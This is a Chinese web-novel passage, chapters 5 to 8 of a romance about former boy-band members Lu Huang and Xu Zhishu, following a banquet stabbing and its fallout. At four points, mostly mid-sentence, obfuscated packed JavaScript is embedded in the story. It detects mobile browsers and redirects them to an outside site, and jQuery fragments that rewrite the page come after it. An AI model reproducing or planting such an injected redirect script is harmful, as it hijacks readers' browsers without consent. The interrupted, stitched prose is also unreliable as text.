“二少爷,吃晚饭了吗?”管家迎上来,这个时间说早不早,说晚也不晚,老爷子已经吃过了,如果路煌需要,他得通知厨房开火。 “还没有,给我煮碗面就行。”路煌回来这一路心里都乱糟糟的,满脑子都是许稚舒。如果不是刚才空着肚子跟郑夫人喝了杯酒,这会儿胃里不怎么舒服,他可能连吃饭的心思都没有。 “好的。老爷子已经在书房等你了。”管家说。 路煌微微点头,就上楼去了。 他在外面住惯了,平时并不常回来。退圈后,他大部分时间还是住自己的房子,只不过开始接手家中事务,有不少事需要问父亲和哥哥,所以路煌回来的次数变多了,留宿倒是不多。 敲了门,路煌就进了。 “爷爷。” 路老爷子正在看文件,见他进门,把文件往旁边一放:“去过郑家宴会了?” 老爷子头发花白,但梳得整齐,显得非常精神。 “嗯,郑先生还没到场,说是有工作没忙完,我跟郑夫人聊了几句就走了。”路煌说。 老爷子微微点头,随即把放到一边的文件推给他:“你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442927|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这家公司。” 路煌拿过文件,是一家娱乐公司:“这不是赵老爷子家的公司吗?” 这家公司路煌知道,不仅因为赵老爷子跟他们家老爷子是多年的朋友,还因为这家公司推出过几个团。只不过都没起太大的水花,后来都解散了。 “对。赵家急需一笔资金周转,不得不把这家公司出手了。一时又找不到合适的买家,所以找我这儿来了。”老爷子语气有些感慨。 赵家不算大家族,生意主要在文化方面,后来跟风进军娱乐行业,做得不温不火,没闯出名堂,却也没赔得太难看。 因为赵老爷子跟路老爷子认识得早,所以就算两家并不在一个圈层,往来也没有断过。 “赵老爷子需要钱跟您借不就行了,出手公司不是自断产业吗?”路煌疑惑。 赵家的娱乐公司发展得不好,却也没到需要脱手的地步,放手里吊着,万一赶上风口,就起来了。再说,他家老爷子有钱,跟那些钱都是公司资产的富豪不同,他们家的钱是实打实握在手里,随时能拿出来用的。赵老爷子如果开口借,他爷爷是不会小气的。 路老爷子叹了口气:“老赵的孙子私自动了公司的的钱。等家里发现,资金缺口已经补不上了。为了稳住主营这一块,只能把旁的卖了。否则即便借到钱暂时缓口气,也还是要拆东墙补西墙的。” “他孙子干什么动了那么多钱?”路煌并不是想探听八卦,只是随口一问。 “赌博。”路老爷子恨铁不成钢。 路煌无语。他知道不少富二代会跑去赌场玩,但到了他们这个阶层的,大家就算玩也不敢动家里的资产,就是在公海上当消遣玩一下罢了。像赵家孙子这种,明显是赌红眼了,什么钱都敢动,这样的人狗改不了吃屎,算是废了。 “所以您就把赵家的娱乐公司买了?”既然文件都在手上了,肯定已经是既定事实。 “之前咱们家不涉及娱乐产业,照理来说我可以帮老赵找下家,没必要自己收。不过我一想,你在娱乐圈那么多年,对这里面的经营肯定了解,交给你也不错,所以就自己收了。”赵老爷子在家族经营方面不是独裁者,就算他先把事做了,之后也会做出解释。 “爷爷,我已经够忙了。”路煌不想接手,不是没有能力,而是接手了他势必还要接触娱乐圈,接触娱乐圈他就忍不住想要去找许稚舒。 “和你哥比,你算什么忙?”老爷子把剩下的文件全推给他,“手续都办好了,你抓紧安排时间去公司看看。” “我不干,您找别人吧。”路煌拒绝,“或者您自己再出山,亲自管理也行。” “你这个臭小子,多给你点公司管着,怎么弄得像我要害你似的?赚到的钱不都是你的吗?” 老爷子并不知道他和许稚舒的事,路煌也没有办法跟他解释,只能说:“我现在的工作都是刚接触,还没上手,管不了那么多。实在不行你交给大嫂管吧。” 老爷子刚要继续说,路煌的手机就响了,是路煊打来的。 “喂?哥。”路煌为逃避老爷子,赶紧接了。 “你在哪儿呢?”路煊语气有点急。 “在家呢。” 路煊明显松了口气:“那就好。” “怎么了?”路煌问。 路煊:“郑昌在宴会上被人捅了,还发生了火灾,我怕你还在宴会上,就赶紧问问你。” 路煌脑袋嗡地一下,顾不上老爷子在后面喊他,立刻冲出家门。 5. 第5章 宴会厅突然闯进这么个人,所有宾客都警惕地绷紧身体,并本能地往里靠,生怕一个不小心就成了垫背的。 而今天到场的除了郑夫人的亲朋好友外,还请了几家媒体记者。原本是想借着这次生日宴宣传郑夫人的香水品牌新推出的香型,同时将这款香型与精致优雅的宴会生活挂钩,利用场景与香味的结合,为潜在的购买者植入概念,促进销售。这是品牌常用的销售手段之一。只是万万没想到,好好的宣传场合却凭空上演了一出意外事件。 女人身上白裙子已经弄脏了,手臂也有磕伤的痕迹,身上斜跨了一个不大却鼓鼓囊囊的防水布包,与她的裙子并不搭配。她双手紧握着匕首,冲着前方比划着,嘴里还是在叫郑昌的名字。 此时围绕在郑昌身边的几个公子哥已经认出了女人,一边下意识地往后躲一边对郑昌道:“这个女的不是一向很听话吗?怎么跑这里来了?” “郑少,你不是把她甩了吗?” “先别说这个了,郑少,你把局面控制住,我去叫人帮忙。” 郑昌看到女人,脸都黑了。站在郑昌不远处的杨观脸色也没好到哪儿去。他跟郑昌在此之前只接触过一次,听说过这位郑少风评不好,但他没有亲眼看过,不予置评。结果今天就让他亲眼见着了,就算不知全貌,看女人这个状态,他也能猜出个大概。 与郑家的合作的确是难得的机会,但郑昌明显是不确定因素,让他不得不重新考量合作的可能性了。随后,他开始满场找许稚舒,作为兄长,他得顾住许稚舒的安全。 “小姑娘,你先把刀放下,有什么事好好说。”作为宴会的主角,郑夫人哪怕再害怕,也不能往后躲。何况对方是冲着她继子来的。 女人立刻把刀尖指向郑夫人,重新聚焦的眼神透着疯狂和凶狠:“你是什么人?!是郑昌的新女朋友?” 郑夫人连忙摆手:“不是,我是他继母。你有什么事可以跟我说,别吓到其他人。” 听到“继母”两个字,女人状态稍微平复了些,又继续叨叨着:“郑昌呢?郑昌在哪儿,我要见他。我是他女朋友,他说过会和我结婚的,我已经怀了他的孩子了,他怎么不见了?” 在场的宾客将她的话听得清清楚楚,大家彼此看了一眼,都默默地没有说话。只有宴会厅的音乐如同无知的孩童一般,继续唱着欢快的歌谣。 许稚舒和郭枝对视了一眼,郭枝摇摇头,显然也不知道内幕。这时杨观悄悄来到了许稚舒身边,让他顺着墙边往大门那边靠,如果发生混乱,这个位置能尽快逃离宴会厅。 郑昌向来看不上自己这个继母,郑夫人站出来更让他恼火。于是他几步就走了过去,对着女人道:“你不是在医院休养吗?怎么跑这儿来了?” 女人看到郑昌,立刻露出甜甜的笑,可手上的刀并没有放下:“我找不到你,听说你在这儿,我就来了。” 女人的刀在灯光的照射下更显锋利,郑昌虽是上前了,却也离了一段距离。 “我忙,等我有空了自然会去看你。”郑昌不算蠢,知道这个时候安抚住对方更重要。同时他也看到同伴已经去叫保安了,眉宇间拧起的情绪才舒展了些。 “可是我想见你啊,宝宝也想见你。”女人看了看自己平坦的小腹,笑容有一秒的扭曲。 “我正忙着,先让人送你回去好不好?”郑昌语气平缓,看起来就是个关心女友的男人。可在场的没人是傻子,这个女人疯疯癫癫地出现在这儿,已经说明他们的关系没那么简单了。 “不好!你跟我一起回去好不好?我好久没跟你说话了。”女人态度很明确,不是那么容易能劝走的。 郑昌肯定不可能跟着女人走,他不时往门口张望,等待同伴把保安叫来。因为他和几家少爷想在宴会结束后继续去找乐子,为了方便,连保镖都没带,这会儿就麻爪了。 许稚舒能做的不多,他一个做音乐的,打架实在不擅长同,也不会逞能充英雄,能顾好自己的安全已经不错了。 保安已经到了,但都聚集在宴会厅门口,没有人敢上前。他们只是保安,又不是保镖,维持秩序还可以,真论身手,也不过是普通人,面对尖刀,谁也不愿意冒险。 即便如此,保安的到来还是刺激到了女人,她尖叫着把刀尖指向门口,嘶吼着:“你们别想夺走我的宝宝,对对,你们都死了,就没有人能伤害我的宝宝了!” 在谁都没反应过来的情况下,女人单手从包里拿出一瓶汽油,拇指一推,瓶口打开,对着门口就胡乱呲过去。保安立刻躲开,这要是被呲中可不是闹着玩的。 郑昌看到这个局面,知道这个疯女人如果真点了火,今天的事就闹大了! 于是他冲着自己那些狐朋狗友大喊:“快来帮忙制住她,别让她点火。” 而那些外强中干的富二代仗势欺人还行,真遇到事没有一个敢上的。 女人把瓶子一丢,胡乱翻着包,明显是在找打火机。在场的人不是没有想帮忙的,只是女人手里的刀并没放下,任谁心里都得打鼓。 郑昌气得脸都扭曲了,正转过头要对门口不作为的保安吼,找不到打火机的女人放弃了摸索,冲着没有防备的郑昌冲了过去。 “小心——”郑夫人疾呼。 “啊——”纷乱的尖叫声再次响起。 刀子已经插在了郑昌的腹部,女人用尽了力气,跌坐在地,她包里的打火机滑了出来。 女人拿起火机,疯魔地大笑着:“郑昌,你这个骗子,你害我的孩子没了,你不得好死!” 说着,火机被按出火苗,直接丢到了地上,火焰瞬间蹿起。 酒店工作人员拿灭火器救火的声音;郑夫人让人叫救护车的声音;警车赶到的警笛声混杂在一起……欢快的背景音乐仍在继续。 路煌赶到酒店,参加宴会的宾客已经散了。他又立刻赶到许稚舒家楼下,发现他家里的灯没开,应该是人还没回来。 正准备给许稚舒打电话,就见一辆车开了过来,停在了他车子后面。 许稚舒从后座下来,就看到站在前面的路煌。 “你……”这是短短三个小时内他第二次见到路煌。不知道是因为宴会的突发情况让他还没缓过神,还是见再的情绪已经在三个小时前消化好了,总之现在的许稚舒情绪很平静。 原本路煌的注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442928|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该全在许稚舒身上,应该走过去问他是不是被吓到了,有没有受伤。可现在,他的目光却不受控制地转到了同样从后座下来的杨观身上。 杨观个子很高,长相英俊,身上有着多年留学养出的绅士精英范儿,在人群中颇为显眼。 杨观和许稚舒的关系他早就知道了,许稚舒的身世他也清楚。只是现在看到杨观,让路煌又一次不情愿,却又不得不重新认清自己的身份——如今论亲疏,他连杨观都不如了。 “路先生?来找稚舒吗?”见到时路煌,杨观是真的意外。 杨观并不知道路煌在郑夫人的宴会上露面了,进宴会厅前许稚舒提醒他离郑昌远一些时,他只以为是路煌先前跟许稚舒说的。现在路煌出现在许稚舒家门口,会让他觉得这两个人的关系非常好,即便团解散了,也还是维持着不错的友谊。 “嗯。”路煌的担忧渐渐平复下来,表情是一如继往对外人的冷淡,“听说郑夫人的生日上出了点事,正好路过,就过来看看。” 这话前半句是说给许稚舒听的,后半句是应付杨观的。他和许稚舒的关系杨观并不知道。 “今晚的确惊险,幸好没出大事。”在精神高度紧张后,难免会觉得疲累,杨观没有多留,“稚舒,路先生,你们聊,我先回去了。” 路煌微微点头。 “哥,路上慢点儿。”许稚舒目送杨观上车。 车子开走,许稚舒才重新看向路煌。 “其实不用特地跑一趟,打电话也可以。”许稚舒不是否定路煌的做法,只是路煌现在忙,需要有足够的休息时间。 “怕你不接。”路煌是行动快过脑子,说这句话不过是找个借口。 复杂的情绪没有回笼,在经历过今晚这样让人心惊的事后,许稚舒反而容易立于当下,不想那么多。 “我没那和幼稚。”许稚舒一笑。 再次看到许稚舒和笑脸,路煌觉得自己的心都化了,于是他得寸进尺地提议:“一起吃点东西行吗?我晚饭还没吃。” 考虑到现在回家也未必能早睡,而且他的晚饭只是去宴会前简单吃了一点,这会儿的确饿了。路煌一说自己还没吃,许稚舒就没办法硬下心赶他走。何况路煌是为他来的。 “吃面行吗?”许稚舒问。 路煌眼睛都有神了,点头道:“可以!” 司机将两个人送到他们常去的一家日式面馆,这家的面并算不上特别好吃,但胜在二十四小时营业。有时候活动到很晚想吃夜宵了,经纪人就会带着他们几个过来吃夜宵。 这个时间店里的人不多,两个人挑了个角落的位置,轻车熟路地点了面。 面上得很快,两个人掰开筷子,路煌几乎是没有任何思考地把碗里偏瘦的叉烧夹给许稚舒,又把许稚舒碗里偏肥的那块连带着他不吃的海苔夹到自己碗里,额外加的笋丝也顺手倒进了许稚舒碗里。 等做完这些,路煌才发觉自己好像已经没有资格这样做了。 许稚舒垂着眼睛,快速地眨了两下,像什么都没看到,什么都没发生一样,低头吃面。 路煌压着心中升起的纠结,也默默地开始吃饭。 6. 第6章 一顿饭吃得颇为沉默,不是无话可聊,反而是担心聊起来太默契,在分开时反而要难受。 直到碗里的面见底,路煌才没忍住,问起了宴会的情况。至少这个话题对两个人来说都是安全的。 许稚舒向他描述了现场的情况,继续又说:“好在汽油不多,火灭得及时,只是宴会厅门口烧得严重些。至于郑昌如何,就不知道了。” 救护车来后,郑昌就直接被拉走了,反正这期间还是喘气的。警察给宾客们都做了笔录,否则他还能回来得早一些。 “你怎么知道郑昌会倒霉?”许稚舒提出了自己的疑惑。 路煌语气中带了些许不屑:“郑昌平时玩得太乱,承诺信口就来,他父亲帮他压了不少事,他才能继续作到现在。这回骗到一个天真的,那女的受了刺激精神状态出了问题。这种情况下,不确定因素太多了。” 之前路煌跟郑昌完全是两个圈子,这样的八卦基本不会有人跟路煌说。现在路煌回家帮忙了,这个圈子里的各种事自然会有人跟他讲。 许稚舒皱了皱眉,没做评价。娱乐圈也乱,不过他们这十年因为有路煌在,还真的是干干净净,全心努力向上地在发展。所以这样的事对许稚舒来说依旧是有距离感的。 “话说回来,之前能压住是因为都是私下的事。这回闹到宴会上,请去的记者给点钱还能封口,但宾客这么多,估计瞒不住。”路煌给出自己的看法。 “看在郑先生和郑夫人的面子上,就算有人想传出去,也会掂量吧?”这是许稚舒的看法。 路煌一笑,说:“你以为那个女人是怎么顺利进入宴会厅的?” 如果是别人,大概会觉得许稚舒的话多少是幼稚了,可路煌不会这么认为,许稚舒能这样说,说明他把许稚舒保护得不错。 许稚舒一愣,漂亮的眉眼干净得让人心动。 路煌没让他思索,直接丢出结论:“郑先生肯定还是会想护着自己的独子,但郑夫人可就未必了。这么多年,郑昌一直看不上这位郑夫人,郑夫人总得为自己打算。” 这件事不需要争论,只看会不会上热搜,内容倾向上向着谁就差不多能有结论了。 一顿饭的时间对两个人来说既漫长,又过于短暂。 “我送你吧。”出了店门,路煌道。 “不用,我叫了车。”许稚舒觉得与路煌吃顿饭已经是极限了,再多相处一分,他这些天的努力就真的白费了,他不想从头再来一遍。 短短的对话间,许稚舒叫的车子开了过来。 没有说再见,也没有其他接触,许稚舒默默上了车,这或许是最好的分别方式。 等许稚舒回到家,郑昌宴会被刺伤的消息已经满天飞了。显然正如路煌所言,消息根本盖不住。 墙倒众人推,何况还是一面烂墙。有一个人开头,之后冒出来的知情人士更是将郑昌往死里锤。郑昌并不出名,但郑家在投资这块还是很有影响力的,所以郑家下一代出了事,还是这种人品有问题,越扒越有料的事,关注度不可能低。 许稚舒只随便扫了一眼,就没再关注了。路煌吃饭时的一举一动总是反复地出现在他脑子里,因为喜欢,就会忍不住去观察,用了心的观察就会印象深刻。晚上万籁俱寂,本就是让人容易多想的时候,好不容易平静的心情再起涟漪,再想恢复平静,着实需要花些时间。 在床上翻来覆去躺到凌晨一点,许稚舒还是一点睡意都没有。想睡却睡不着的时候最为折磨,许稚舒索性起床去了琴室。那里有一台电钢琴,许稚舒用的次数并不多,今晚倒是派上用场了。 琴室的灯亮了一夜,直到天空泛出光亮,才悄然关闭。 睡得太晚,许稚舒发了消息给乐言,说自己今天不去工作室了。原本以为能睡到大中午,结果没到九点就被贺漾的电话吵醒了。 “还没起?”贺漾是没想到的,许稚舒在团里时就不大熬夜,除非是工作结束得晚。现在许稚舒自立门户,他以为许稚舒肯定会健康作息。 “嗯,今天不忙?”许稚舒随口问。 “忙啊,但这不是重点,你快看热搜!”贺漾的语气挺激动。 “热搜?郑家的事?”贺漾好八卦,以前遇上些风吹草动,就会跑到他房间来分享。 “不是,是你和路煌啊!你们两个居然单独吃饭,这是和好了?”贺漾比任何人都要激动,在他看来,这两个人就不应该分手。 许稚舒没想到会有热搜,一时有些错乱,不知道是应该澄清还是保持沉默。 “没有,只是遇到了,正好都没吃饭,就一起了。”许稚舒说了谎,若是解释昨晚的情况,电话恐怕一时半会儿挂不了。 “这样啊。”贺漾明显的失望,可既然是误会,他肯定不愿意再刺激到许稚舒,马上换了话题,“昨天我收到一个音乐节目的邀约,还没决定参不参加。等我忙完这几天去找你,你帮我参谋一下吧。” “行。”贺漾需要,他推了别的工作也得把他放前列。 贺漾哈哈笑着,那边助理来催他了,两个便挂了电话。 还有些困,现在继续睡可能就要睡到午后去了,许稚舒索性起床,下午再补个觉就好。 早餐依旧是自己做的三明治,但咖啡是点了外卖的焦糖玛奇朵,他想喝点甜的,从而让自己心情好一些。 吃饭期间,许稚舒还是随手打开了热搜,就看到#路煌许稚舒#的热搜挂在第一位,不仅完全压过了郑家的热搜,甚至郑家的热度正在快速下降。 【太好了,我嗑的CP没有BE!】 【你们还能评论,我只会嚎叫了!!谁能明白我的心情!!】 【又被甜到了,说Infinite是塑料兄弟情的去哪了?!给我滚出来battle!】 【还以为再也看不到他们同框了,呜呜呜,感动哭。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442929|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【我相信他们真的是有感情的,他们说话时看对方的眼神好认真啊。】 【晚上一起吃夜宵,要不是足够亲近的人,谁会约这么晚?】 【一大早上心里就甜甜的,我的皇叔CP,给我狠狠爱!!!】 【@许稚舒老公,发点你跟你老公的合照吧,求求啦!】 作为热搜常客,许稚舒的敏感度还是很高的。他和路煌的CP热度虽高,却也不至于一大早上话题就这么热。 再看看郑家话题下降的速度,他有理由怀疑这是郑家为了降自己的话题,故意给CP话题买的热度。 这属于常见操作,只不过给郑昌挡热度,许稚舒可不怎么乐意。 还没等他多想,乐言的电话就打来了,如果不是有要紧的事,乐言不至于这个时间打电话。 “喂?阿言。”许稚舒接了电话。 “许哥,你快醒醒!”乐言语气有藏不住的开心。 “已经醒了,什么事这么高兴?” “哥,你知道我刚才接到谁的电话了吗?”没等许稚舒猜,乐言就藏不住了,“是左思珈!她说想跟你见一面,谈谈看有没有合作的机会。” 此时许稚舒的惊讶一点都不比乐言少。他的工作室的确需要一首爆曲拉起他单干后的知名度,他想过哪些歌手是可以联系寻求合作的,却从来没往左思珈身上想。 左思珈十六岁出道,今年也有四十岁了。出道后的十年她红级一时,推出过无数至今还让人翻唱的作品,不仅国内,海外的知名度也相当高,还为国外的电影唱过英文主题曲。 但过了二十六,左思珈就开始断崖式地走下坡路。她本人很努力,每年至少出一首单曲,基本都是一张专辑,跟许多音乐人有过合作。她的唱跳到现在放眼整个乐坛,都是实力相当不错的。公司对她也从未怠慢,从出道到现在,她都没有换过经纪公司,可见公司的待遇她是满意的。可就是不知道为什么,就是唱什么扑什么,听说去年的专辑一万张都没卖上。 许稚舒之所以记得这么清楚,是因为他最开始听到左思珈的歌时,几乎没有一首是他不喜欢的。左思珈的音域并不算宽,但声音非常有辨识度,台上表现也很稳,许稚舒一度拿她的歌列表循环。 可也就是在他开始听左思珈歌这一年,她就开始走下坡路了。 每一年左思珈发新歌,许稚舒还是会听,但真的没有在单曲循环过,也不免唏嘘。 他甚至听一些前辈提起左思珈时都说上玄学了,说她是不是被什么人夺了运势,才一落千丈,再厉害的音乐人都拉不住她下降的速度。 许稚舒大概清楚左思珈找上他是希望再博一把。她都没放弃重新在乐坛站稳的可能,许稚舒自然愿意给她写歌。但前提是两个人在歌曲风格上的想法得有一致性,否则即便合作,也做不出最合适的歌曲,反而是等着新一轮的失望到来,这样的折磨就没有必要了。 7. 第7章 与左思珈见面这天是个阴天,许稚舒还蛮喜欢阴天的,仿佛一切都进入了安静的领域,乌云吸走了杂乱,没有晴在那么热闹。就是心情不那么明亮,沉静感也不会让他觉得孤独。他不讨厌热闹,却十分享受孤独。 左思珈是跟他经纪人一起来的。以左思珈现在的地位,经纪人已经不能左右她的想法了,更多的是按着她想法安排工作,这也是出道多年有过一定的成绩后,可以自主的好处。 “两位请坐。”许稚舒没有特别殷勤,合作最重要的是愉快,过分殷勤所带来的不对等感,是很难碰撞出花火,从而产生愉快的情绪的。 乐言送来茉莉花茶。 左思珈不是顶漂亮的那种艺人,却也是好看的,让人打眼一看就很舒服。 “是郭姐推荐我来的,我听了你之前做过的音乐,风格很多变,对我想要的突破有帮助,所以想来谈谈看。”左思珈开门见山,大家的时间都很宝贵,又是约好来谈合作的,不需要说那么多客套话。 “郭老师吗?”宴会上郭枝的确问他要了工作室的名片,但没想到会推荐给左思珈。 “对,我跟郭姐认识很多年了。她知道我在筹备新歌,一直没挑到合适的,就推荐找你试试。”左思珈作为前辈,并没有因为许稚舒年纪轻就摆出一副想指挥别人的态度,这让许稚舒对她的印象更好了。 “那我真应该好好感谢郭老师才对。”许稚舒微笑说,“无论这次合作能不能成,能得到郭老师的认可,就已经算是我的成功了。” 他笑起来显得特别温柔,一副什么事都好商量的感觉。 “郭姐能推荐你,我也很期待。” 闲话聊完,许稚舒问起了她这次想要什么风格。 “我出道这么多年,尝试了许多风格。我一直担心同种风格粉丝听多了会觉得没有新鲜感,所以这次还是希望能挑战不一样的东西。概念上也希望足够新颖。”左思珈把自己想要的表明了。 她的经纪人坐在旁边,没有发表任何意见。 许稚舒:“左老师,你的歌我都听过。” 左思珈眼睛一亮,显然是高兴的。 “你前期的风格自成一派,别人想模仿却没有你这样过硬的实力。后期你一直在各种尝试,恕我直言,你一直很努力,从歌曲到概念再到视觉,都在尽量打造一种全新的听感,可效果真的不尽人意。”许稚舒在音乐创作这件事上是不愿意含糊其辞的。 “的确。”左思珈承认,也是因为如此,她越发歌曲越难受,可作为歌手,这是她的本命,是不能放弃的。 “你有没有想过回归到最开始的风格上?”许稚舒提议。 左思珈皱起眉,脸上温和的表情慢慢消失了。 许稚舒知道左思珈最开始的风格都是公司给定的,她没有自主权,公司怎么打造,她只能安排要求去做。后来有了自主权,肯定是希望突破桎梏,证明自己。可术业有专攻,她的经纪公司能存活这么多年,必然是有它的强项的。风格制定恰恰是其中之一。 这番话许稚舒就不太好直说了,容易伤到左思珈的自尊。于是他选择换一种方式。 “左老师,你的歌曲伴随了你那一代人的成长,他们在你的歌曲中汲取能量,看着你越来越好,他们自己也觉得越来越好,这是一个艺人立足的起点。你想突破,我很理解,但别人的突破是从实力一般往实力强劲上突破,你已经是顶尖的实力了,突破其实是打破粉丝期许的。” “你的粉丝现在多半与你年纪差不了太多,这个年纪的人可能更需要你的陪伴。或许他们已经不再是及时的购买力,可他们只是滞后,而不是没有购买力。而且这一代的人现在是最需要精神抚慰的。” “年轻一代有他们的审美和喜欢的风格,你想去抓年轻人的心,就年龄认知这个层面上,你就不占优势,他们更容易喜欢与自己年轻差不多的艺人。” “所以我认为你更应该回到你的舒适区去,照顾好属于你的粉丝群体,通过好的作品和更广的传唱度去吸引年轻的粉丝。而不是去搞年轻人喜欢的东西,他们既get不到,又浪费你自己的实力。” 左思珈越听脸色越难看,倒是她的经纪人,表情明显鲜活起来。 “看来我们的想法并不合拍。”左思珈语气有些生硬。 抱着突破的希望而来,结果扫兴而归,任谁都很难有好脸色。 如果要按左思珈的要求写歌,许稚舒是能写的。但还是那句话,他需要一首爆曲为工作室拉高知名度,所以推出的第一首歌尤为关键。 “左老师可以再考虑一下我的提议。左老师愿意给我机会,我很荣幸。但我也要为合作的艺人负责,如果明知可能是无效回归,却还要做的话,也许过程你会很愉快,但结果就是我们不会再有二次合作的机会了。”许稚舒说得一点都不夸张,只看近些年左思珈作品的合作人就知道了,没有用第二次的。 可能是顾着体面,左思珈没把话说绝,只是客气地说:“我回去再考虑一下。” “好的,左老师如果有需要,可以再联系我。”许稚舒没有强留,起身将两人送出门。 乐言见她们这么快就要走,脸上不免多出几分焦虑。 上车前,左思珈经纪人似乎还想说些什么,可最后也只是看了许稚舒一眼,就上车了。 送走她们,乐言亦步亦趋地跟在许稚舒身后,直到进了办公室才问:“怎么这么快就走了?” 许稚舒笑道:“没谈拢。” 乐言原本以为会是愉快的一天,连午饭订哪家的餐都想好了,结果是以泡汤结束。 “哪里不合适,我再去跟她们团队争取一下?”现在他已经不是纯助理了,需要做的事很多,一些原本不需要他操心的事现在他也有责任帮着沟通。 他这副操心的样子把许稚舒逗乐了:“不用,合作是需要缘分的。” “哥,你现在是一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442930|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养一个工作室,稍微妥协一下也可以吧?”乐言在桌前踱了一圈,“之前Infinite是顶流,现在你们解散了,都不知道有多少双眼睛盯着你们的个人发展。路少直接退圈了,狗仔忌惮路家,不敢再报他的消息。可你不一样啊,你只是转幕后了,还是会被盯着的。” 许稚舒坐到椅子上:“我要是写出一首一看就会扑的歌,不是正中了想看我笑话的人的下怀?” 乐言叹气:“好吧,只能再等机会了。” 许稚舒没有那么失望,反而笑着安慰乐言:“左老师能来找我,说明我的音乐在业内还是受认可的。以后肯定会有机会,不急。” 乐言认真地点头,他很相信许稚舒的实力,只是希望工作快点来,这样许稚舒就不用吃老本了。 午饭虽然没点乐言预想中的大餐,却也是不错的。许稚舒、乐言和李瑶坐在会议室里吃饭,闲聊着就说到现在各大娱乐公司正在集体准备推出男团,来抢占Infinite解散后空出的男团市场。 说到圈内八卦的传播速度,助理圈绝对能排到前列。许稚舒不打听助理圈是怎么混的,但乐言和李瑶跟他分享消息,他是愿意听的。 “纬弦娱乐已经交到杨家少爷手里了,听说这位杨少爷进公司就裁撤了一批人。现在娱乐市场没有前几年好,这些被裁的人集体开始找工作,背后都在骂。”李瑶说着最新消息。 “上一来就这么大手笔?”乐言不懂企业管理,只是站在打工人的角度说。 “是啊,听说杨少爷在入职后第一次会上就说要推出男团,对标的就是Infinite。” 乐言八卦雷达全开:“他可真敢说啊。” 像“对标”“打败”这样话,哪怕心里这么想,也不是会直说的。至少不能在这么大的场合说,很容易就被人捅出来。哪怕这些可以归为雄心壮志,粉丝们知道也会有逆反心理,弄不好就是得不偿失。 “谁说不是呢?现在又裁员,听说纬弦现在内部动荡得很。”李瑶不是瞎说的性格,能说的都是切实的消息。 许稚舒听着,没有发表看法。纬弦娱乐正是他父亲杨立致的公司,杨家就是靠娱乐行业起家的,只是现在涉及的行业多了,纬弦娱乐就渐渐不是重点了。 杨阅是杨立致与现任妻子生的孩子,杨立致与杨观母亲的婚姻并没持续多久就离婚了。没出三个月,杨立致就娶了现在的妻子。 许稚舒只见过杨阅一次,还是在他母亲过世后,杨观周末总会带他出去吃饭,在餐厅偶遇的。杨观只是远远地跟许稚舒说了那是谁,并没上前打招呼。在非必要的情况下,杨观是不与杨家人接触的。 后来再听说杨阅的事,就是杨阅出国留学,杨观跟他提了一嘴。 时间过得真快,现在杨阅都回来接手纬弦娱乐了,还要对标Infinite制作男团,总有一种无形中形成的对抗之势。剑拔弩张肯定算不上,但被对标的不痛快还是有的。 8. 第8章 从赵家收来的娱乐公司最后还是由路煌接手了。公司本就不赚钱,如果被收购后出现大幅度的人员变动,只会让人心涣散,想有起色花的时间会更久。 路煌再三考虑,决定还是暂用现在公司的人员配置,连公司原本的名字“初黎娱乐”都没改,先做三个月的内部工作安排,通过这三个月的工作把尸位素餐的都处理掉,年底就可以做好人员调整,明年完全走上正轨。 路煌管理公司的经验尚浅,不过耳濡目染的也知道公司经营不能着急,每一步都走在点上,才能用最小的付出换来最大的回报。 在翻到音乐制作部的资料时,路煌又不禁想到许稚舒。上次见到他,路煌觉得他瘦了些。许稚舒对待他的态度明显是守着距离的,即便他无意间还是做出了恋爱时的举动,许稚舒还是拉紧了两个人中间的那条线,让他没有在冲动之下说或者做出些什么。 将文件一推,路煌靠在椅子上。如果他和许稚舒不是分手的关系,现在初黎的情况,他肯定会找许稚舒来为公司做音乐,至少要确保他接手后发的第一批歌曲得有一首能砸不水花。可现在,他是不敢去找许稚舒的。 